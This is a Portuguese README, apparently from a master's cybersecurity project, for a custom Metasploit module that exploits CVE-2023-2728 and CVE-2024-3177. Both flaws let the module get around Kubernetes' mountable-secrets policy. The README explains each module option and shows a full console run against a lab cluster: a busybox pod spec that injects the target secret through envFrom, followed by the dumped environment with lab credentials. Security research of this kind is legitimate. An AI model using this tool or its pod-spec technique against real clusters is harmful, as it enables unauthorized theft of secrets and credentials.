Módulo escrito em Ruby com o objetivo de explorar as vulnerabilidades CVE-2023-2728 e CVE-2024-3177, ambas relacionadas à política de montagem de segredos em um cluster Kubernetes usando um módulo Metasploit personalizado. Parte de um projeto de conclusão de mestrado em Cibersegurança.
Este módulo personalizado explora as vulnerabilidades CVE 2023-2728 e CVE 2024-3177 em versões do Kubernetes que são vulneráveis a cada uma delas (por exemplo, v1.27.2 é vulnerável a ambas), ambas relacionadas à contornagem da imposição da política de secrets montáveis imposta pelo plugin de admissão ServiceAccount no Kubernetes, com diferentes tipos de containers e estratégias. O objetivo principal é obter os secrets desejados e apresentá-los nas variáveis de ambiente de uma forma atrativa para o usuário.
use auxiliary/cloud/kubernetes/double_secrets_cverun.Define o tipo de container a ser usado no Pod que é criado no cluster alvo para explorar a vulnerabilidade. Pode ser normal (equivalente a containers regulares), init ou ephemeral.
Permite selecionar a vulnerabilidade que você deseja explorar. As opções disponíveis são 2024-3177 e 2023-2728. Se qualquer outra vulnerabilidade for especificada, o módulo não a reconhecerá e apresentará um erro, o que é um resultado normal.
Especifica a imagem do container a ser usada para criar o Pod, como busybox, a opção padrão, pois é uma imagem muito útil devido à sua leveza e versatilidade, agrupando múltiplos utilitários Linux em um único e pequeno executável e combinando os utilitários mais comuns do Unix como ls, cp, mv, cat ou sh, o que a torna muito apropriada para sistemas com recursos limitados ou para testes rápidos, como pode ser o caso aqui, onde não é necessária uma imagem específica, apenas que o Pod seja criado corretamente.
Indica o namespace no Kubernetes onde o Pod será criado, devendo ser o mesmo onde o secret a ser revelado está localizado.
Define o nome a ser dado ao Pod a ser criado.
String de proxies a serem usados, no formato type:host:port[,type:host:port][...]. Esta é uma opção padrão do Metasploit, que não é usada neste módulo.
Especifica o endereço IP ou faixa de endereços IP do alvo, neste caso o cluster Kubernetes onde se deseja explorar a vulnerabilidade. Esta opção é uma das padrões no Metasploit.
Define a porta TCP do alvo à qual o módulo se conectará. Esta é uma opção padrão do Metasploit.
Especifica o nome do secret no Kubernetes que você deseja revelar; para isso, você deve ter as permissões necessárias.
Permite definir se deve reutilizar uma sessão existente. Neste módulo, esta opção não é relevante e é opcional. É uma opção padrão.
Determina se uma conexão SSL/TLS deve ser negociada para conexões de saída. Esta é uma opção padrão do Metasploit e não é obrigatório tê-la ativada; depende de como o usuário em questão se conecta ao seu cluster alvo.
Especifica o caminho base para a API do Kubernetes que está sendo alvo, por exemplo, /api/v1. Esta opção é personalizada e é usada para facilitar o agendamento de certas conexões no módulo.
Define o token de autenticação que será usado para interagir com a API do Kubernetes; é importante que esse token tenha as permissões necessárias; caso contrário, o módulo falhará devido à falta de permissões para criar ou enumerar certos recursos dentro do cluster.
Permite especificar um host virtual HTTP. Esta é uma opção padrão do Metasploit que não é usada no módulo.
Nota: no markdown os secrets são marcados como ** SECRET ** no início e no fim; isso não é assim no código, pois foram destacados em vermelho para melhor visibilidade pelo usuário, algo que não pôde ser feito no arquivo README devido às limitações da linguagem Markdown na plataforma GitHub.
Definindo explicitamente RHOST e TOKEN para enumerar os secrets especificados na opção SECRET_NAME:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal
CONTAINER_TYPE => normal
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1
POD_NAME => cve-pod-1
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-1
[*] Waiting for pod cve-pod-1 to be ready...
[*] Pod cve-pod-1 status: Pending
[+] Pod cve-pod-1 is running.
[*] Established Kubernetes client.
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-1
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[+] Successfully retrieved environment variables from pod cve-pod-1
[*] Auxiliary module execution completed